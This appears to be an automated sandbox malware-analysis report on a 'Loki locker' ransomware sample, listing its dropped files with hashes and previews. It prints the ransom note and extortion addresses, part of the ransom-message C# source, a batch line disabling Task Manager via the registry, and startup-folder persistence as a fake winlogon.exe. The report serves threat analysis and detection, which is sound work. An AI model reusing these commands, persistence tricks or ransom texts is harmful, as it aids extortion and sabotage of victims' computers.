Preview:	......[.7....1.M[u..k.p.Oi......H..N.O'..$.....x.qh.7J.x.jg.i.....#^..q.....i.m.@.Mf.,8.W@Z2l.d).=xY.7ay..h...f.?eZ...[.*/Q...G.....Q.K.............w..B..Z....q.$.;.!I.=.D;.P......2R.....Z. ..?......\|..L....}_L....z.+^W..joi..1..d..O.t.$.?.W...H...%....rA._...9'[.B....I....8....4.,.7l..68.8..Su.^gr.L...:X...Ix.v....q..bi..................d..20....K#8..8.l.n..?.{T.7.J..c..=.M..\.T.7.C...^;S&.m...~V:k...c

C:\Users\user\3D Objects\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\3D Objects\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	554
Entropy (8bit):	7.599256377425434
Encrypted:	false
SSDEEP:	12:UFWdmFS8dN+Yr039NOA+5Omr4wk+6Eef25xN:UimQg+YgtX+5E8ewn
MD5:	1572FE53F70312D5CC32C0FB1009F6F1
SHA1:	9489B6EDC959F86BA287964501C20F30DE1E089E
SHA-256:	25877707600406945BB24CA71FE975B6515ACC866ACE75540137ADEC1C743513
SHA-512:	2EDEFBAC195A119469DCF92272B69230124B54DD0F2B6304B00359B4750960583FFEF877D81373124F09005036C30603410ABA58F7DABBEA46A271DF3E83ABD4
Malicious:	false
Preview:	.;.&.."%J........:x#Y....G....[.e...\|.j...4....d....9.%....o.(..1..^........n.(.KX...gEz.X ...M-+...L.)....?q".,o..^.(=C.Bse....s.W..L....D..KT..l.".Qo...E5Q.....V.\..H.."m~.9]ID.....4....E]4..#.Ke..0.....R.F...;.j$...z..P.y5..l.7i.&.....xNW'. g.8p...x.?....4.,=...D..~..^q".,....-...J..._[.@.K5. MjT.w...}..G.HS.&.A..uni?K...l.N..S.9....ag..`.t.:.......^.....4..."Y.(.9.g..x..)L.....t.r...U..)#..J.,eH.\|.9..N.#E[Q...k..r.....\j.>A..K2......{..,.B.j^....8sGm7.Ep4.F$5..o..,...7..)..9.H..!.:..G......E.....;/..c.y.F:....z..)M.tF..`lmmD.

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\winlogon.exe.log Download File
Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	793
Entropy (8bit):	5.314223954818489
Encrypted:	false
SSDEEP:	24:MLV1qE4qpE4Ks2vsXE4qXKDE4KhK3VZ9pKhgLE4D8mE4j:Mp1qH2HKXCHiYHKhQnogLHD8mHj
MD5:	794748503FD23D402153CCD4910E3413
SHA1:	386CDAE81D5C5D5FBC3B89E4747CC1369EFFBB15
SHA-256:	A0D8D9CB96E37E1E29FC6F4D5BF12D879A7C7B125AFF0D9E494153DF736FD2F8
SHA-512:	995D19482935DBD8F575DC09DBEE3B545EF526D699207267BA497CB3367E00AF9AD0B9558A0507DA721BFAB51DF960746F364633949B965258F853DE610136F6
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.ServiceProcess, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Temp\RESEA4A.tmp Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x74dc, 16 symbols
Category:	dropped
Size (bytes):	30208
Entropy (8bit):	5.740504676948415
Encrypted:	false
SSDEEP:	384:ImDC8OH8XpDVnq6eCui9Q65nV13XonFE8KmMvLoeISeuulpIYryupoUANYsXV:ImJOH8XpDVl31NxqtlevuGp
MD5:	F049591C6BA0148149C76C9E2C6D2C92
SHA1:	4BB12DA0BAD6BE00EC010056799E602C2C9FD92F
SHA-256:	89E9212169C290AC08AC2CF2D29E150424181FAC13587D4A50E5D98D88515862
SHA-512:	282CA1A3BCA802D19A7040ADF35E7A1A7FE7A522418E0C32D480E85E656FD3B95188108EBA90EB67BB9FC5FDA94DF8D2201D85622FF4268F18ABE9787A531B62
Malicious:	false
Preview:	L......a.t...........debug$S........0...................@..B.rsrc$01............................@..@.rsrc$02.........p..................@..@........7....c:\ProgramData\CSC349A74A79F2A4776AA44A5AABA325CC.TMP................G.z_'1H..-.+............4.......C:\Users\user\AppData\Local\Temp\RESEA4A.tmp.-.<...................'...Microsoft (R) CVTRES.\.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.......................0.......h...............................................................................................(.......................@.......................X.......................p...............................................................................................................................................................................h................................................%...............(..............L...............L.....................................p.................................................

C:\Users\user\AppData\Local\Temp\dnxfxcjw\dnxfxcjw.0.cs Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	C++ source, UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	4.893685284905164
Encrypted:	false
SSDEEP:	24:JoOUI3Hi7XCIdmJMk5FIoTfV3bJbq/lOTBWrTcw:JoOUYYXCsaMkvIWf1JbBW0w
MD5:	AD1674E9BFED4FF08974FDB92AB0ABDF
SHA1:	1093ACC2C7B0D8D264BCF140E36C26F71C399659
SHA-256:	A97E8DF0045FEC1DCEC54FF6D2017C9EF9CA58171A9E352DC6EAD1390D064A70
SHA-512:	E0C7140E10994851D2FAD746B47EA6523AD758DC45EB4D6EC28A816BF461D8B8D6053C46153219F3C5E407B72F40AE9C167DA23D2F64D73302C3997B4AB51C49
Malicious:	false
Preview:	.using System;..using System.Diagnostics;..using System.IO;..using System.Runtime.InteropServices;....namespace Loki..{.. class Natives.. {.. [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)].. public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);.. }.. class Program.. {.... static void Main(string[] args).. {.. Natives.MessageBox(IntPtr.Zero, "This file and all other files in your computer are encrypted by Loki locker.\r\nIf you want to restore this file and rest of your files, Please send us message to this e-mail : Unlockpls.dr01@protonmail.com\r\nWrite this ID in the title of your message : 57802C8E\r\nWe will help you, in any steps.\r\nIn case of no answer in 24 hours, write us to this e-mail : Unlockpls.dr01@yahoo.com", "Loki locker", 0x00000040);.. string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData),"inf

C:\Users\user\AppData\Local\Temp\dnxfxcjw\dnxfxcjw.cmdline Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	UTF-8 Unicode (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	236
Entropy (8bit):	5.15960578422799
Encrypted:	false
SSDEEP:	6:Hu+H2L0fWqrBzxsjGYfWXp+N23ftNWXp+N23fsPSVEPS/Hn:Hu7L0+qrcnKVg0PSVEPSPn
MD5:	957F85D235273583AB33E37D09B396E9
SHA1:	78B363E87946E78E6376D2C9E0A35665B86D61A7
SHA-256:	92268EF60EF1465C82B4C86C161D74C2B14DAB30FDBD5C123B3E14A668F63D4A
SHA-512:	B52288312366FF5109ED9C778D7301E5014BD993F5460409B25B0F1F919D1A957ECA43682B2D7D33812E90DC60E2548121F3D1E101BA7EBE470EA2A53056AB28
Malicious:	false
Preview:	./t:exe /utf8output /R:"System.dll" /out:"C:\ProgramData\g43m2pr1.exe" /debug- /optimize+ /optimize /target:winexe /win32icon:"C:\Users\user\AppData\Local\Temp\txzrtbhv.ico" "C:\Users\user\AppData\Local\Temp\dnxfxcjw\dnxfxcjw.0.cs"

C:\Users\user\AppData\Local\Temp\dnxfxcjw\dnxfxcjw.out Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
Category:	modified
Size (bytes):	734
Entropy (8bit):	5.269952044841077
Encrypted:	false
SSDEEP:	12:KN/q/u7L0+qrcnKVg0PSVEPSPuKaMK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KBq/udqrNVg2OmSuKaM5DqBVKVrdFAMb
MD5:	873C339B7E31762D76C4A42BA4D696E4
SHA1:	A220A538A0E4B161ED1293A9A64DF7DB6D44BB7A
SHA-256:	068BF700FFACED041F752F7178B6B611CCEE2E1C97066AFAF85D92891BCFCDD9
SHA-512:	C3B19F68CE37FF0F6AFAD2D827E19858A99E41AA316A9D221E9D54AEF4FC096977DCC01EE3198FB087FA5CCF27EB8047FF79E2E4881DB10DA9861A38D753806D
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /out:"C:\ProgramData\g43m2pr1.exe" /debug- /optimize+ /optimize /target:winexe /win32icon:"C:\Users\user\AppData\Local\Temp\txzrtbhv.ico" "C:\Users\user\AppData\Local\Temp\dnxfxcjw\dnxfxcjw.0.cs"......Microsoft (R) Visual C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\txzrtbhv.ico Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	27809
Entropy (8bit):	5.770450099765403
Encrypted:	false
SSDEEP:	384:NC8OH8XpDVnq6eCui9Q65nV13XonFE8KmMvLoeISeuulpIYryupoUANYsXS:HOH8XpDVl31NxqtlevuG+
MD5:	DBC49B5F7714255217080C2E81F05A99
SHA1:	4DE2EF415D66D2BB8B389BA140A468B125388E19
SHA-256:	6D2F1F6164CBD331B9DC43B37948372E21B2EE45407AA99E199693835CDED09C
SHA-512:	29A65EB7403BFC220FD057C2E6EA11B29BFF545DFCE2D3370AD462C66B03AE7F648EFD480305423A49440DE199A2A94C41214877B226A42DC2D1650683D149BB
Malicious:	false
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ..(...D..(....... ..... ...............................-....I(!s.70..71..71..71..71..71..71..81..,'x....I..0.........</....@.L?..^S..^S..^S..]R..]R..^S..^S..^S..RH....E.D<..........I:....F.M@..]R..]R..\Q..:3..:3..\Q..]R..^R..SJ....K.RI..........H9....F.M@..]R..]R..WM..6.U.6.U.WM..]R..^R..SJ....K.RH..........I:....O.NA..]R..^S..G?..L@F.L@F.G?..^S..^R..SJ....K.RH..........J;..&.ovPB..]R..^S..MC..>5N.>5N.MC..^S..^R..SJ....K.RH..........I:....G.NA..^S..^S..]R..PG..PG..]R..^S..^S..TJ....K.RI..........$.h...2n?4..SH..RH..RI..SI..SI..RI..RH..SI..D<....6n($n...................-i.*O.(Io...;...F...F...;.(Io..+O.../i............................"N^.8......3...........38..."N^................................."M^.8~.....3...........,=..."M]................................."M^.8~.....3.......... +=..."M].................................!K[.9......:...........:8...!K[.............................$Rd../9l<....=J..........=J.<.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\Cpriv.Loki Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	6.033602153554147
Encrypted:	false
SSDEEP:	48:bMH08OoaHuJrSuwJAVePwy0tU80FUYlUyhL96eMuKZPT5bKc3NYCCjaonThOXWlA:bMU85EuJBeAVt9qhL9ybAaiFOK2
MD5:	99E4422574E75F2D291B0729FEFB379E
SHA1:	B8F585556F0C659308673D0181C752ED7F5ED23C
SHA-256:	EB42AEDAC405CD5269CA03AB076D636D9FA8BA1C687698F6BB93022D2C9ECD2E
SHA-512:	C0A46F19B10FEEC314F8F9A8C8136B7EB2575DD901726B5D9DF2F9BFCE9E03448981D7685A3C7EF4FF5FBFD8BC76A12E641096107A76F862CF53214CD0701669
Malicious:	false
Preview:	aFpTPMeOLzkZf/U7S+5LE7wQpPhuYYt2h71l0sOjH3N5jL+BQpjEIrl3rBln08PonAFOej32zEkz..5JmAdGdd4mM26NMOhjFDYmEbNxv8wo9TP0JwGoerBEImK3MaQ4biWLJ8eig6BygkQsgWhW3g+W/s..y1UmNLMZXkd7tT5d6U8QQqBA+l0zuM3YXIMt6s0lssezZTuuJR3vHupE6lOlAwKLRIvOvcOUrYli..M1S37e3d7KtFTfhqUis69dAXQubK3jqwjIWAY4bvOiXDfX5tVbI1k/HbY70drfwTBL7dZZcbd2Zg..Qu2IBorgXPWBUmx94U+jszt46QtZMX8OEFQzWByn+JMG2WFRE8B9HXikVEHyZwyzXmrl/V4F3F02..djfyX1/wm/yCYVRacOCSLin43U2OlFgsdSwqIyYHLPAlIPTe9UKENsfYRwadlW18V8OvZqvY414R..9r02ylF538N32UrRSl3l33nWkj8j3njTVW5wP3B2e6Qwif/pgrVWzEsC+opmYs7HQnkb6nUPP+Xc..mBZQm47Wldh7IC3nVIIO3sEKdFQDLfpTmmEkK7tibDk1moeE6OJ1zQsO7mJF95a0wh8D9BeOpPAo..uhcw10a7hIFGIttp/0Ce7gmDZAywQJqzoPOhUpJgjiGREZ8tnv4qLihvZzH9ThgJvpVlEhLwrlOI..uvnsIbH1o3s0tQZFsE08ZE5hWXnys5fB+nWT+03gRZr93xNezMEu5khpSLY19TWJWVM7S9dwzaiY..Lr7PB3zAKGfZs6J6pEAHIzG9/CJo2CYyNIcDiH4bWFv3xJfRTtgN++jiqcu5fX9Oi+b2DEW90PPv..ZN9wNelChzupY+ULTSnpok62aoNXlkSC57Bm/jwTab57In7FPwyn61fw6+055MBcp8GGMKw8eiAZ..IOrYOhedeFH7drkD4g/qHSPY1j47/CLid9/RFkC++csa5rNOxqHmeEvpNwtVbFGH

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\logs.txt Download File
Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	415
Entropy (8bit):	4.8035408073452155
Encrypted:	false
SSDEEP:	6:zhO/PwvXdX/Nkq/Z2jN8qdX/oSEXKWX/vpmAT0ovdX/xiX2a3PqzO/Pwvn:z8/4RNkIaNFoZ1vpvYoR3m/4v
MD5:	519CAE540CBE4EC5231CC470C0FCC8BA
SHA1:	B961945A8812624EEBB0ED573DAEB6E2D7AD732B
SHA-256:	C10335E9DCCABD82CD69EA1F2E6612A11356ED8F76E8CF04C58D2494800C2621
SHA-512:	C62272779D2666EE77CD4F3048F01CF12A2F757A1DC43192E0C0A9D11C850C9AD65B8D56DFDA7CEED2118B5AFACDAE8156743B981438C56DF6E3E072FE9E136D
Malicious:	false
Preview:	************** Loki started at 12/26/2021 in 9:36:16 AM ************..[INFO] [12/26/2021 9:36:16 AM] Error handler initialized successfully...[INFO] [12/26/2021 9:36:16 AM] Opening Mutex...[ERROR] [12/26/2021 9:36:16 AM] Ransomware is already running as another process...[INFO] [12/26/2021 9:36:16 AM] Exiting with code 0...************ Loki finished at 12/26/2021 in 9:36:16 AM **************..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	476160
Entropy (8bit):	7.3420684875502955
Encrypted:	false
SSDEEP:	12288:hVSBgkHStQxBJ12FdyfrlTT6zncVUJ7vn:hVcJz2SBTT6DN
MD5:	3504DD5CCAEDEF6D34D7E9090458E58B
SHA1:	7B73993FB07C0B16171BAD449E49C9344CA87D6A
SHA-256:	F2DA3D1410C5058720A4307ACF5FEC7FC2B54285BE9DD89EAE108CCE368DCDE7
SHA-512:	837D045DC044B881E969C0A4DBF34B178142733A26C38F38F56F442AAB5E3BB3D2BAD8094A00F99575AB4417A4BC04EBB669552D9704A32793A88E0DF8E9E19E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...".b..........."...0......\............... ....@.. ..............................S[....@.....................................K.......................................................................................................H............3?.?.6.(... .....................@...)f$.Tn'l.(...`...*..................@....text...h............X.............. ..`.rsrc................:..............@..@.reloc...............@..............@..B.RVA.................B.............. ..`................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wvtymcow.bat Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	109
Entropy (8bit):	4.948378132372253
Encrypted:	false
SSDEEP:	3:uBpwXD9so3KRfyM1K7eB/k+7W34hebJNAKyMhF7FKD:LtuH1jhRiI36BY
MD5:	3FC537B642D3756646715325299C6367
SHA1:	0A6B4D2012D44FE631DD8BF56DA001BFD04B99BB
SHA-256:	708511C356493E41CA103DB51B8DF3FB57898DDB2BB7CF4F11560FACDE9425ED
SHA-512:	7A290CD5A44AC4BA51D5B8AB6EA7BD2F2C392A1237C8B923267D524B2AB92E532E3C27DD21D96C3E89C5B84060F0E8EE2A4D9E59E21CFC8C3E15322C5334D064
Malicious:	true
Preview:	REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

C:\Users\user\AppData\Roaming\winlogon.exe Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	476160
Entropy (8bit):	7.3420684875502955
Encrypted:	false
SSDEEP:	12288:hVSBgkHStQxBJ12FdyfrlTT6zncVUJ7vn:hVcJz2SBTT6DN
MD5:	3504DD5CCAEDEF6D34D7E9090458E58B
SHA1:	7B73993FB07C0B16171BAD449E49C9344CA87D6A
SHA-256:	F2DA3D1410C5058720A4307ACF5FEC7FC2B54285BE9DD89EAE108CCE368DCDE7
SHA-512:	837D045DC044B881E969C0A4DBF34B178142733A26C38F38F56F442AAB5E3BB3D2BAD8094A00F99575AB4417A4BC04EBB669552D9704A32793A88E0DF8E9E19E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...".b..........."...0......\............... ....@.. ..............................S[....@.....................................K.......................................................................................................H............3?.?.6.(... .....................@...)f$.Tn'l.(...`...*..................@....text...h............X.............. ..`.rsrc................:..............@..@.reloc...............@..............@..B.RVA.................B.............. ..`................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\winlogon.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Contacts\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Contacts\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	668
Entropy (8bit):	7.6719137604060545
Encrypted:	false
SSDEEP:	12:yar1XNOi/sjG1t5GkyEFKsGoFri1bZa/Oi/VFjYMRj2NMi+3yW+YE0:6tGgrQKs+1eOi/V53Rj2ehCWe0
MD5:	B54D6FF78FCC75EBB734C030F0CAB3F3
SHA1:	3A1833003419C2AA6D89D7159018D234FA27EC7D
SHA-256:	69746D87BAF113ED6C49882709F48857F72C83150FC479D93674D9D0A307A6CE
SHA-512:	E92A7A7E6166B4978EAB5534AE4EA6C6D839BFF6249CF9E2C2F4E5584DD6EF80A1AAAAE1D80E3044E880E77E48A9215744C69059CEFAC88588A32568103CAC95
Malicious:	false
Preview:	.n....G./e.}...%&X.<..{.%....h....M..3C...r.Nu.p..y4-.8.s..fS....9..J.5<....W9.14/.=~r\....m.`.W]..5.hC....;....F....A(......6..z..1C..6E..q...!....xQ.z..r\|.).2...p\.M.AU..@.Et..2.!4..+...2?..,.'..A.v...M.I..W..CP.v..$1.......f.pD.!A.Z{.T...@....0,.....)...f.zJ...Rq..._.G..H.e...eV.r....I@?6.!.2~.@2.....F..J]...H......=..<.bj.H..\....l...e......ki.H.)......(\|t..E..<...1{....+..N....Fh.@.._..pD.~..'.........'...".Z...PS.G..>.../O.`..%..#.R...XA.y.)e..-.(.<..i..".....U=.HVB...YX...G.zy.m;..5.pr...1E{.C.mH.=e....H.}g....Q&..9.J_o..w...>...FX..."........\|..h..d.lM..\|F.w.0....G..g$..Z'.....o..r6.).~=..LP....y.f%.y.l.~R.n.CB.

C:\Users\user\Desktop\AQRFEVRTGL.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.826032768394888
Encrypted:	false
SSDEEP:	24:Y3Z8CvHe7pCnKcATF3ZjdDstLvbXI8WdTbtd9/gWs2BM:Ype1CpArjdDstDE88Tm2M
MD5:	2D24368BCA2A2EB89B7F66AE9429FB1C
SHA1:	F11E93410A2E7BF6B91ACA385C8EA4ECBCE0BFDD
SHA-256:	96E2CF5005282A75E2E700854CFF82457CDF956266EF0B02D5A3581EAD70A699
SHA-512:	420C8D20113BDA76B2A5F078D8BC91A8587AACE6FF88E46AD379AD05C069E55E2CD09F6C85D3D10FF0E548D332CEEC81DB442039210927912865BAA1C9FF25F7
Malicious:	false
Preview:	....r..k}.\|.......@.Q..[.4....-...S..RJ.....U...g....%!..^+a.........<!..h......D..>...Oe.......{.........^h/I"....eyB.wX9a(r.M'..u...]........:.b.C..6.....<eh.v.C....h.H...a.Y..@d....!o...ReD........5.-.9..u.$..C4._.\|.E.e..../.$....<.P...d....9........m=av[r..k>....R.d>.3..+.....J..R.s........4.].'.....Fv0..V3.....=d..n.m...7Q.Quj.h.&.c.3.%..I.\|.....M..z..v.....79pf.%.+I..$.M-..HC.[.A.......^.F$.v>.I.b.U........N.u.2?j........!+..A......u..?6...=~....=.g....=.8s..L..........-P.v...<.n..X.fa.=..._..c_-.."'....NY.....N.......Qs....>4{..%...ma^.1z.$7..v....7.Z...n.(.q..8.....J)....@.,._'..{....gYV..u.w).o1...qb.s...)d=...H..Ko.>...........m..{......j/.........J.E../ta..#...}em~....M\.....h%...)....Mu........<Vk..!..%..qURjo..t.......D-..'^.......k$.....GD...kx...&......b`]._p.N..7.<.y...#~..'t.^.Y...vjs'...._.W...l.Yu.M.bA.73g.rJ.A...@-...@..(l.Rp..E.0{ ...;...K.........W_..X...W~..~r.....S.......~......d..*r

C:\Users\user\Desktop\BJZFPPWAPT.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.862906257827484
Encrypted:	false
SSDEEP:	24:Yznkd9X4Ed7ETlNaCHVLW5wJM+W6AGUsS3uw2+ll3ox/xj9WILoc:jp4E61Lfq+W6LGuwZfoRx0jc
MD5:	D9572BEA6101DEBB3078449525129DD3
SHA1:	BC333F4F43D22781F8F421ADBB45552FA6C4F31A
SHA-256:	D6EA9B4601833021A176DCDFF9AADFE98DE521E53A84BB89906EC3200794C373
SHA-512:	1D3463D68E4306C28CB7815B4CE2FC56826CA057B324CEEA88D1B54C5CF3FC79DE9F1B646105EFDB4AC37CB1D47ED40DEFD656289045FA78C210B6B796573438
Malicious:	false
Preview:	.h:n.:.T..8.y....6.....-.x;......../.&l........i.N..&....7a..lJ..'..cS\|....j.M...x..W..{..+.........n...<....:..6'.F+h..aO....m..m..`.G.vr.3.A...t...C.(. ......&.0....v..v.#^..+.8O....q..a..!...X...?..-;.....'....5..r...: ....Z....Mni.E.>..\..h}.~......\.T;.;0&..Z........FQ.....I....HZuR~.lx..A.0Rp...R.3..._.....h..P....4U....u.....A0.#m.%......R..e.t.5.3}.....6].`.5C..}.V....mR...3Z.Qr(.(.w..>s..............".~.%<.....:..Bu...........-(W.:$]wy..,p\|.Of#_.`...n.J...n.B.%...=...7...-...q.g.....f..Qhd..}.jE.'..Yn..[.....6.3:A...<....g.p..T&+a..d.s,~..f.x_..K.4....'X..t....~6..........L.....N...%.H~...1ka.\'...l..._.t..-..y&;....y.E..S..I..y{t/.....2...X..&.U....-....".6k{...C...T.s.!rF.w#Y....."..i.Z..Sk...\s...B.}q........ ~.<.wx.;..i`.1..dp..!.:..k.:....#f.N...h..M...7b.V.?....Bn..K.+..A...*..Z..=.J.=.).~..E.u.....u..8J...=xn.c3"&.fU...O.....4v1.z....mk..a;..:5..tt....(....!.i..:a..e1(.A...&.?;Y...[...g.q4..).g5 .B...[..Ab.Q]:-....o..

C:\Users\user\Desktop\BJZFPPWAPT.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
